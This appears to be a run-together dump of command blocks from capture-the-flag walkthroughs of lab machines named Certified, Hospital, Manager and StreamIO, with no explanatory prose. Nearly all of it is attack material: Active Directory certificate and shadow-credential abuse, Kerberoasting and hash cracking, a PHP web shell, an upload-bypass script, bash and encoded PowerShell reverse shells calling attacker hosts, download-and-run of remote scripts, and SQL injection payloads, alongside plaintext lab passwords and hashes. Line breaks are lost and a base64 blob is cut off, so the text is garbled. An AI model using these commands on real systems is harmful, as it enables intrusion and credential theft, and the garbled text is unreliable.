10.10.10.2nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.41 -oG allPortsnmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49681,49716,49740,49775 10.10.11.41 -A -oN targeted -oX targetedXMLxsltproc targetedXML > index.html
python3 -m http.server 80ldapsearch -x -H ldap://10.10.11.41 -s base | grep defaultNamingContext
netexec smb 10.10.11.41catnp /etc/hosts | grep certified.htbrpcenum -e All -i 10.10.11.41 -u 'judith.mader' -p 'judith09'catnp users.txtimpacket-GetNPUsers -no-pass -usersfile users.txt certified.htb/ 2>/dev/nullsmbmap -H 10.10.11.41 --no-banner -u 'judith.mader' -p 'judith09'impacket-GetUserSPNs -dc-ip 10.10.11.41 certified.htb/judith.mader -request 2>/dev/nullhashcat -a 0 hashes /usr/share/wordlists/rockyou.txtldapdomaindump -u 'certified.htb\judith.mader' -p 'judith09' 10.10.11.41 -o ldapbloodhound-python -c all -u judith.mader -p 'judith09' -d certified.htb -ns 10.10.11.41bloodyAD --host 10.10.11.41 -d certified.htb -u judith.mader -p 'judith09' set owner 'Management' judith.mader
bloodyAD --host 10.10.11.41 -d certified.htb -u judith.mader -p 'judith09' add genericAll 'Management' judith.mader
net rpc group addmem "Management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S 10.10.11.41python3 /opt/pywhisker/pywhisker/pywhisker.py --dc-ip 10.10.11.41 -d "certified.htb" -u "judith.mader" -p "judith09" --target "MANAGEMENT_SVC" --action "add"python /opt/PKINITtools/gettgtpkinit.py -dc-ip 10.10.11.41 certified.htb/MANAGEMENT_SVC -cert-pfx 3r6awZCj.pfx -pfx-pass YKnNhAzfknFJOWoLIcdS MANAGEMENT_SVC.ccachepython /opt/PKINITtools/getnthash.py -dc-ip 10.10.11.41 certified.htb/MANAGEMENT_SVC -key 24e19988d8b8503066217b378c54975abc8bbbb55394817a1bcd4667eb3991fa 2>/dev/nullnetexec winrm 10.10.11.41 -u 'MANAGEMENT_SVC' -H 'a091c1832bcdd4677c28b5a6a1295584'evil-winrm -i 10.10.11.41 -u 'MANAGEMENT_SVC' -H 'a091c1832bcdd4677c28b5a6a1295584'wget https://raw.githubusercontent.com/61106960/adPEAS/refs/heads/main/adPEAS.ps1
python3 -m http.server 80
IEX (New-Object Net.WebClient).downloadString("http://10.10.14.19/adPEAS.ps1")
Invoke-adPEAS$UserPassword = ConvertTo-SecureString 'Gzzcoo123' -AsPlainText -Force
Set-DomainUserPassword -Identity CA_OPERATOR -AccountPassword $UserPasswordnetexec smb 10.10.11.41 -u 'CA_OPERATOR' -p 'Gzzcoo123'certipy-ad find -u CA_OPERATOR@certified.htb -p 'Gzzcoo123' -dc-ip 10.10.11.41 -vulnerable -stdoutcertipy-ad shadow auto -username MANAGEMENT_SVC@certified.htb -hashes ':a091c1832bcdd4677c28b5a6a1295584' -account CA_OPERATOR
netexec smb 10.10.11.41 -u 'CA_OPERATOR' -H '613a519b5b0ef57c07bc6395aa1aff14'certipy-ad account update -username MANAGEMENT_SVC@certified.htb -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user CA_OPERATOR -upn administratorcertipy-ad req -username CA_OPERATOR@certified.htb -hashes 613a519b5b0ef57c07bc6395aa1aff14 -dc-ip 10.10.11.41 -ca certified-DC01-CA -template CertifiedAuthenticationcertipy-ad account update -username MANAGEMENT_SVC@certified.htb -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user CA_OPERATOR -upn CA_OPERATOR@certified.htb
certipy-ad auth -pfx administrator.pfx -domain certified.htbnetexec smb 10.10.11.41 -u 'Administrator' -H '0d5b49608bbce1751f708748f67e2d34'
evil-winrm -i 10.10.11.41 -u 'Administrator' -H '0d5b49608bbce1751f708748f67e2d34'nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.11.241 -oG allPortsnmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6055,6404,6406,6407,6409,6613,6637,8080,9389 10.10.11.241 -A -oN targetedldapsearch -x -H ldap://10.10.11.241 -s base | grep defaultNamingContext
netexec smb 10.10.11.241catnp /etc/hosts | grep hospital.htbecho '.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module' | tr ',' '\n' | sed 's/\.//g'| sed 's/ //g' > extensions
catnp extensionsgobuster dir -u http://hospital.htb:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt#!/usr/bin/env python3
import requests
import pdb
import signal
import sys
from termcolor import colored
from pwn import *
def def_handler(sig, frame):
print(colored(f"\n\n[!] Saliendo...\n", 'red'))
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
upload_url = "http://hospital.htb:8080/upload.php"
cookies = {'PHPSESSID': '5sa6q4ch85r5beag9vuneh55gk'}
extensions = [".php", ".php2", ".php3", ".php4", ".php5", ".php6", ".php7", ".phps", ".phps", ".pht", ".phtm", ".phtml", ".pgif", ".shtml", ".htaccess", ".phar", ".inc", ".hphp", ".ctp", ".module"]
def fileUpload():
f = open("test.php", "r")
fileContent = f.read()
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
for extension in extensions:
p1.status(f"Probando con la extensión {extension}")
fileToUpload = {'image': (f"test{extension}", fileContent.strip())}
r = requests.post(upload_url, cookies=cookies, files=fileToUpload, allow_redirects=False)
if "failed" not in r.headers["Location"]:
log.info(f"Extensión {extension}: {r.headers['Location']}")
if __name__ == '__main__':
fileUpload()python3 fileUpload.py#!/usr/bin/env python3
import requests
import pdb
import signal
import sys
from termcolor import colored
from pwn import *
def def_handler(sig, frame):
print(colored(f"\n\n[!] Saliendo...\n", 'red'))
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
upload_url = "http://hospital.htb:8080/upload.php"
cookies = {'PHPSESSID': '5sa6q4ch85r5beag9vuneh55gk'}
burp = {'http': 'http://127.0.0.1:8080'}
def fileUpload():
f = open("test.php", "r")
fileContent = f.read()
fileToUpload = {'image': (f"test.phar", fileContent.strip())}
r = requests.post(upload_url, cookies=cookies, files=fileToUpload, allow_redirects=False)
log.info("Archivo subido exitosamente")
if __name__ == '__main__':
fileUpload()<?php
echo "<pre" . shell_exec($_GET['cmd']) . "</pre>";
?><?php
phpinfo();
?><?php
$dangerous_functions = array("exec", "passthru", "system", "shell_exec", "popen", "propen", "proc_open", "pcntl_exec");
foreach ($dangerous_functions as $f){
if (function_exists($f)){
echo "\n[+] " . $f . " - Pwn3d";
}
}
?><?php
echo fread(popen("whoami", "r"), 10000);
?><?php
echo fread(popen($_GET['cmd'], "r"), 10000);
?>http://hospital.htb:8080/uploads/test.phar?cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.13/443 0>%261"cat /etc/shadow | grep -E '^root|^drwi'hashes -a -o hashes /usr/share/wordlists/rockyou.txtnetexec smb 10.10.11.241 -u 'drwilliams' -p 'qwe123!@#'impacket-GetNPUsers -no-pass -usersfile users.txt hospital.htb/ 2>/dev/null
impacket-GetUserSPNs -dc-ip 10.10.11.241 hospital.htb/drwilliams -requestgit clone https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection
cd CVE-2023-36664-Ghostscript-command-injection
python3 CVE_2023_36664_exploit.py --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA0ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" -g -x eps
catnp malicious.epsnmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.11.236 -oG allPortsldapsearch -x -H ldap://10.10.11.236 -s base | grep defaultNamingContext
netexec smb 10.10.11.236whatweb http://manager.htbgobuster dir -u http://manager.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtNSrpcenum -e DUsers -i 10.10.11.236netexec smb 10.10.11.236 -u 'Guest' -p '' --rid-brutenetexec smb 10.10.11.236 -u 'Guest' -p '' --rid-brute | grep SidTypeUser | awk '{print $6}' | sed 's/MANAGER\\//'
netexec smb 10.10.11.236 -u 'Guest' -p '' --rid-brute | grep SidTypeUser | awk '{print $6}' | sed 's/MANAGER\\//' > users.txt
catnp users.txtkerbrute userenum --dc 10.10.11.236 -d manager.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txtimpacket-GetNPUsers -no-pass -usersfile users.txt manager.htb/ 2>/dev/nullecho -e "Administrator\nGuest\nkrbtgt\nDC01$\nZhong\nCheng\nRyan\nRaven\nJinWoo\nChinHae\nOperator" | tr '[:upper:]' '[:lower:]' > usersLowerCase.txt
catnp usersLowerCase.txtnetexec smb 10.10.11.236 -u users.txt -p usersLowerCase.txt --no-bruteforcenetexec smb 10.10.11.236 -u 'operator' -p 'operator'
netexec winrm 10.10.11.236 -u 'operator' -p 'operator'ldapdomaindump -u 'manager.htb\operator' -p 'operator' 10.10.11.236 -o ldaprpcenum -e All -i 10.10.11.236 -u 'operator' -p 'operator'mssqlclient.py manager.htb/operator:operator@10.10.11.236 2>/dev/null
mssqlclient.py manager.htb/operator:operator@10.10.11.236 -windows-auth 2>/dev/nullSP_CONFIGURE "show advanced options", 1smbserver.py smbFolder $(pwd) -smb2support
xp_dirtree '\\10.10.14.14\smbFolder\'hashid 'DC01$::MANAGER:aaaaaaaaaaaaaaaa:bc5c4de94dfa738a4028aac1cfc9a3a0:010100000000000080fcf97d4c32db01e7399019cb091b6500000000010010006b0075005600700070007400420065000200100058004f00750056004a00460069004d00030010006b0075005600700070007400420065000400100058004f00750056004a00460069004d000700080080fcf97d4c32db010600040002000000080030003000000000000000000000000030000089d02c51f9b86a7cbcf62b25d97bf9b25eb4e27657ca403a692ae8e78446c5440a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310034000000000000000000'
hashcat -a 0 hashes /usr/share/wordlists/rockyou.txtwget http://manager.htb/website-backup-27-03-23-old.zip
ls -l | grep websitels -la
catnp .old-conf.xmlnetexec winrm 10.10.11.236 -u 'raven' -p 'R4v3nBe5tD3veloP3r!123'
evil-winrm 10.10.11.236 -u 'raven' -p 'R4v3nBe5tD3veloP3r!123'wget https://raw.githubusercontent.com/61106960/adPEAS/refs/heads/main/adPEAS.ps1
python3 -m http.server 80
IEX (New-Object Net.WebClient).DownloadString("http:/10.10.14.14/adPEAS.ps1")
Invoke-adPEAScertipy-ad find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -vulnerable -stdoutcertipy-ad ca -ca 'manager-DC01-CA' -add-officer Raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
certipy-ad ca -ca 'manager-DC01-CA' -enable-template SubCA -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -target dc01.manager.htb -template SubCA -upn administrator@manager.htb
certipy-ad ca -ca 'manager-DC01-CA' -issue-request 22 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target dc01.manager.htb -retrieve 22certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'manager.htb' -dc-ip 10.10.11.236impacket-psexec manager.htb/administrator@10.10.11.236 -hashes aad3b435b51404eeaad3b435b51484ee:ae5064c2f62317332c88629e0259224efnmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.158 -oG allPortsnmap -sCV -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49704,49730 10.10.11.158 -oN targetedldapsearch -x -H ldap://10.10.11.158 -s base | grep defaultNamingContextnetexec smb 10.10.11.158catnp /etc/hosts | grep streamIO.htbwfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt https://streamio.htb/FUZZ/kerbrute userenum --dc 10.10.11.1588 -d streamIO.htb /usr/share/seclists/Usernames/Names/names.txt
catnp employees.txt
kerbrute userenum --dc 10.10.11.1588 -d streamIO.htb employees.txtwfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt https://watch.streamio.htb/FUZZ.phptest' UNION SELECT 1,2,3,4,5,6;-- -test' UNION SELECT 1,@@version,3,4,5,6;-- -test' UNION SELECT 1,DB_NAME(),3,4,5,6;-- -test' UNION SELECT 1,name,3,4,5,6 FROM master..sysobjects WHERE xtype ='U';-- -test' UNION SELECT 1,name,3,4,5,6 FROM streamio_backup.sysobjects WHERE xtype ='U';-- -test' UNION SELECT 1,name,3,4,5,6 FROM STREAMIO..sysobjects WHERE xtype ='U';-- -test' UNION SELECT 1,name,id,4,5,6 FROM STREAMIO..sysobjects;-- -test' UNION SELECT 1,name,3,4,5,6 FROM syscolumns WHERE id = 901578250;-- -test' UNION SELECT 1,concat(username,';',password),3 ,4,5,6 FROM users;-- -catnp data
catnp data | grep ":"catnp data | grep ":" | tr -d ' ' > hashes
catnp hasheshash-identifierjohn -w:/usr/share/wordlists/rockyou.txt hashes --format=Raw-MD5john --show hashes --format=Raw-MD5 | grep -v cracked | sed '/^\s*$/d' | awk '{print $1}' FS=":" > users.txt
john --show hashes --format=Raw-MD5 | grep -v cracked | sed '/^\s*$/d' | awk '{print $2}' FS=":" > crackhash.txt
cat *.txtnetexec smb 10.10.11.158 -u users.txt -p crackhash.txt --no-bruteforcecatnp hashes | awk '{print $1}' FS=":"
catnp hashes | awk '{print $1}' FS=":" > usernames.txtkerbrute userenum --dc 10.10.11.158 -d streamIO.htb users.txtjohn --show hashes --format=Raw-MD5 | grep -v cracked | sed '/^\s*$/d' > valid_credentials.txt
catnp valid_credentials.txthydra -C valid_credentials.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"wfuzz -c --hh=1678 -H "Cookie: PHPSESSID=e824tsci9o526fjd724ii04723" --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "https://streamio.htb/admin/?FUZZ=test"echo "PD9waHAKZGVmaW5lKCdpbmNsdWRlZCcsdHJ1ZSk7CnNlc3Npb25fc3RhcnQoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsnYWRtaW4nXSkpCnsKCWhlYWRlcignSFRUUC8xLjEgNDAzIEZvcmJpZGRlbicpOwoJZGllKCI8aDE+Rk9SQklEREVOPC9oMT4iKTsKfQokY29ubmVjdGlvbiA9IGFycmF5KCJEYXRhYmFzZSI9PiJTVFJFQU1JTyIsICJVSUQiID0+ICJkYl9hZG1pbiIsICJQV0QiID0+ICdCMUBoeDMxMjM0NTY3ODkwJyk7CiRoYW5kbGUgPSBzcWxzcnZfY29ubmVjdCgnKGxvY2FsKScsJGNvbm5lY3Rpb24pOwoKPz4KPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KCTxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KCTx0aXRsZT5BZG1pbiBwYW5lbDwvdGl0bGU+Cgk8bGluayByZWwgPSAiaWNvbiIgaHJlZj0iL2ltYWdlcy9pY29uLnBuZyIgdHlwZSA9ICJpbWFnZS94LWljb24iPgoJPCEtLSBCYXNpYyAtLT4KCTxtZXRhIGNoYXJzZXQ9InV0Zi04IiAvPgoJPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1lZGdlIiAvPgoJPCEtLSBNb2JpbGUgTWV0YXMgLS0+Cgk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iIC8+Cgk8IS0tIFNpdGUgTWV0YXMgLS0+Cgk8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0iIiAvPgoJPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IiIgLz4KCTxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iIiAvPgoKPGxpbmsgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9ib290c3RyYXBANS4xLjMvZGlzdC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgaW50ZWdyaXR5PSJzaGEzODQtMUJtRTRrV0JxNzhpWWhGbGR2S3VoZlRBVTZhdVU4dFQ5NFdySGZ0akRickNFWFNVMW9Cb3F5bDJRdlo2aklXMyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+CjxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjEuMy9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1rYTdTazBHbG40Z210ejJNbFFuaWtUMXdYZ1lzT2crT01odVArSWxSSDlzRU5CTzBMUm41cSs4bmJUb3Y0KzFwIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KCgk8IS0tIEN1c3RvbSBzdHlsZXMgZm9yIHRoaXMgdGVtcGxhdGUgLS0+Cgk8bGluayBocmVmPSIvY3NzL3N0eWxlLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiAvPgoJPCEtLSByZXNwb25zaXZlIHN0eWxlIC0tPgoJPGxpbmsgaHJlZj0iL2Nzcy9yZXNwb25zaXZlLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiAvPgoKPC9oZWFkPgo8Ym9keT4KCTxjZW50ZXIgY2xhc3M9ImNvbnRhaW5lciI+CgkJPGJyPgoJCTxoMT5BZG1pbiBwYW5lbDwvaDE+CgkJPGJyPjxocj48YnI+CgkJPHVsIGNsYXNzPSJuYXYgbmF2LXBpbGxzIG5hdi1maWxsIj4KCQkJPGxpIGNsYXNzPSJuYXYtaXRlbSI+CgkJCQk8YSBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9Ij91c2VyPSI+VXNlciBtYW5hZ2VtZW50PC9hPgoJCQk8L2xpPgoJCQk8bGkgY2xhc3M9Im5hdi1pdGVtIj4KCQkJCTxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iP3N0YWZmPSI+U3RhZmYgbWFuYWdlbWVudDwvYT4KCQkJPC9saT4KCQkJPGxpIGNsYXNzPSJuYXYtaXRlbSI+CgkJCQk8YSBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9Ij9tb3ZpZT0iPk1vdmllIG1hbmFnZW1lbnQ8L2E+CgkJCTwvbGk+CgkJCTxsaSBjbGFzcz0ibmF2LWl0ZW0iPgoJCQkJPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSI/bWVzc2FnZT0iPkxlYXZlIGEgbWVzc2FnZSBmb3IgYWRtaW48L2E+CgkJCTwvbGk+CgkJPC91bD4KCQk8YnI+PGhyPjxicj4KCQk8ZGl2IGlkPSJpbmMiPgoJCQk8P3BocAoJCQkJaWYoaXNzZXQoJF9HRVRbJ2RlYnVnJ10pKQoJCQkJewoJCQkJCWVjaG8gJ3RoaXMgb3B0aW9uIGlzIGZvciBkZXZlbG9wZXJzIG9ubHknOwoJCQkJCWlmKCRfR0VUWydkZWJ1ZyddID09PSAiaW5kZXgucGhwIikgewoJCQkJCQlkaWUoJyAtLS0tIEVSUk9SIC0tLS0nKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlpbmNsdWRlICRfR0VUWydkZWJ1ZyddOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UgaWYoaXNzZXQoJF9HRVRbJ3VzZXInXSkpCgkJCQkJcmVxdWlyZSAndXNlcl9pbmMucGhwJzsKCQkJCWVsc2UgaWYoaXNzZXQoJF9HRVRbJ3N0YWZmJ10pKQoJCQkJCXJlcXVpcmUgJ3N0YWZmX2luYy5waHAnOwoJCQkJZWxzZSBpZihpc3NldCgkX0dFVFsnbW92aWUnXSkpCgkJCQkJcmVxdWlyZSAnbW92aWVfaW5jLnBocCc7CgkJCQllbHNlIAoJCQk/PgoJCTwvZGl2PgoJPC9jZW50ZXI+CjwvYm9keT4KPC9odG1sPg==" | base64 -d > index.phpcatnp index.phpwfuzz -c -H "Cookie: PHPSESSID=e824tsci9o526fjd724ii04723" --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "https://streamio.htb/admin/FUZZ.php"echo "PGgxPk1vdmllIG1hbmFnbWVudDwvaDE+DQo8P3BocA0KaWYoIWRlZmluZWQoJ2luY2x1ZGVkJykpDQoJZGllKCJPbmx5IGFjY2Vzc2FibGUgdGhyb3VnaCBpbmNsdWRlcyIpOw0KaWYoaXNzZXQoJF9QT1NUWydtb3ZpZV9pZCddKSkNCnsNCiRxdWVyeSA9ICJkZWxldGUgZnJvbSBtb3ZpZXMgd2hlcmUgaWQgPSAiLiRfUE9TVFsnbW92aWVfaWQnXTsNCiRyZXMgPSBzcWxzcnZfcXVlcnkoJGhhbmRsZSwgJHF1ZXJ5LCBhcnJheSgpLCBhcnJheSgiU2Nyb2xsYWJsZSI9PiJidWZmZXJlZCIpKTsNCn0NCiRxdWVyeSA9ICJzZWxlY3QgKiBmcm9tIG1vdmllcyBvcmRlciBieSBtb3ZpZSI7DQokcmVzID0gc3Fsc3J2X3F1ZXJ5KCRoYW5kbGUsICRxdWVyeSwgYXJyYXkoKSwgYXJyYXkoIlNjcm9sbGFibGUiPT4iYnVmZmVyZWQiKSk7DQp3aGlsZSgkcm93ID0gc3Fsc3J2X2ZldGNoX2FycmF5KCRyZXMsIFNRTFNSVl9GRVRDSF9BU1NPQykpDQp7DQo/Pg0KDQo8ZGl2Pg0KCTxkaXYgY2xhc3M9ImZvcm0tY29udHJvbCIgc3R5bGU9ImhlaWdodDogM3JlbTsiPg0KCQk8aDQgc3R5bGU9ImZsb2F0OmxlZnQ7Ij48P3BocCBlY2hvICRyb3dbJ21vdmllJ107ID8+PC9oND4NCgkJPGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQ7cGFkZGluZy1yaWdodDogMjVweDsiPg0KCQkJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9tb3ZpZT0iPg0KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1vdmllX2lkIiB2YWx1ZT0iPD9waHAgZWNobyAkcm93WydpZCddOyA/PiI+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXByaW1hcnkiIHZhbHVlPSJEZWxldGUiPg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2Pg0KPD9waHANCn0gIyB3aGlsZSBlbmQNCj8+DQo8YnI+PGhyPjxicj4NCjxoMT5TdGFmZiBtYW5hZ21lbnQ8L2gxPg0KPD9waHANCmlmKCFkZWZpbmVkKCdpbmNsdWRlZCcpKQ0KCWRpZSgiT25seSBhY2Nlc3NhYmxlIHRocm91Z2ggaW5jbHVkZXMiKTsNCiRxdWVyeSA9ICJzZWxlY3QgKiBmcm9tIHVzZXJzIHdoZXJlIGlzX3N0YWZmID0gMSAiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0KaWYoaXNzZXQoJF9QT1NUWydzdGFmZl9pZCddKSkNCnsNCj8+DQo8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIj4gTWVzc2FnZSBzZW50IHRvIGFkbWluaXN0cmF0b3I8L2Rpdj4NCjw/cGhwDQp9DQokcXVlcnkgPSAic2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBpc19zdGFmZiA9IDEiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0Kd2hpbGUoJHJvdyA9IHNxbHNydl9mZXRjaF9hcnJheSgkcmVzLCBTUUxTUlZfRkVUQ0hfQVNTT0MpKQ0Kew0KPz4NCg0KPGRpdj4NCgk8ZGl2IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJoZWlnaHQ6IDNyZW07Ij4NCgkJPGg0IHN0eWxlPSJmbG9hdDpsZWZ0OyI+PD9waHAgZWNobyAkcm93Wyd1c2VybmFtZSddOyA/PjwvaDQ+DQoJCTxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0O3BhZGRpbmctcmlnaHQ6IDI1cHg7Ij4NCgkJCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3RhZmZfaWQiIHZhbHVlPSI8P3BocCBlY2hvICRyb3dbJ2lkJ107ID8+Ij4NCgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tcHJpbWFyeSIgdmFsdWU9IkRlbGV0ZSI+DQoJCQk8L2Zvcm0+DQoJCTwvZGl2Pg0KCTwvZGl2Pg0KPC9kaXY+DQo8P3BocA0KfSAjIHdoaWxlIGVuZA0KPz4NCjxicj48aHI+PGJyPg0KPGgxPlVzZXIgbWFuYWdtZW50PC9oMT4NCjw/cGhwDQppZighZGVmaW5lZCgnaW5jbHVkZWQnKSkNCglkaWUoIk9ubHkgYWNjZXNzYWJsZSB0aHJvdWdoIGluY2x1ZGVzIik7DQppZihpc3NldCgkX1BPU1RbJ3VzZXJfaWQnXSkpDQp7DQokcXVlcnkgPSAiZGVsZXRlIGZyb20gdXNlcnMgd2hlcmUgaXNfc3RhZmYgPSAwIGFuZCBpZCA9ICIuJF9QT1NUWyd1c2VyX2lkJ107DQokcmVzID0gc3Fsc3J2X3F1ZXJ5KCRoYW5kbGUsICRxdWVyeSwgYXJyYXkoKSwgYXJyYXkoIlNjcm9sbGFibGUiPT4iYnVmZmVyZWQiKSk7DQp9DQokcXVlcnkgPSAic2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBpc19zdGFmZiA9IDAiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0Kd2hpbGUoJHJvdyA9IHNxbHNydl9mZXRjaF9hcnJheSgkcmVzLCBTUUxTUlZfRkVUQ0hfQVNTT0MpKQ0Kew0KPz4NCg0KPGRpdj4NCgk8ZGl2IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJoZWlnaHQ6IDNyZW07Ij4NCgkJPGg0IHN0eWxlPSJmbG9hdDpsZWZ0OyI+PD9waHAgZWNobyAkcm93Wyd1c2VybmFtZSddOyA/PjwvaDQ+DQoJCTxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0O3BhZGRpbmctcmlnaHQ6IDI1cHg7Ij4NCgkJCTxmb3JtIG1ldGhvZD0iUE9TVCI+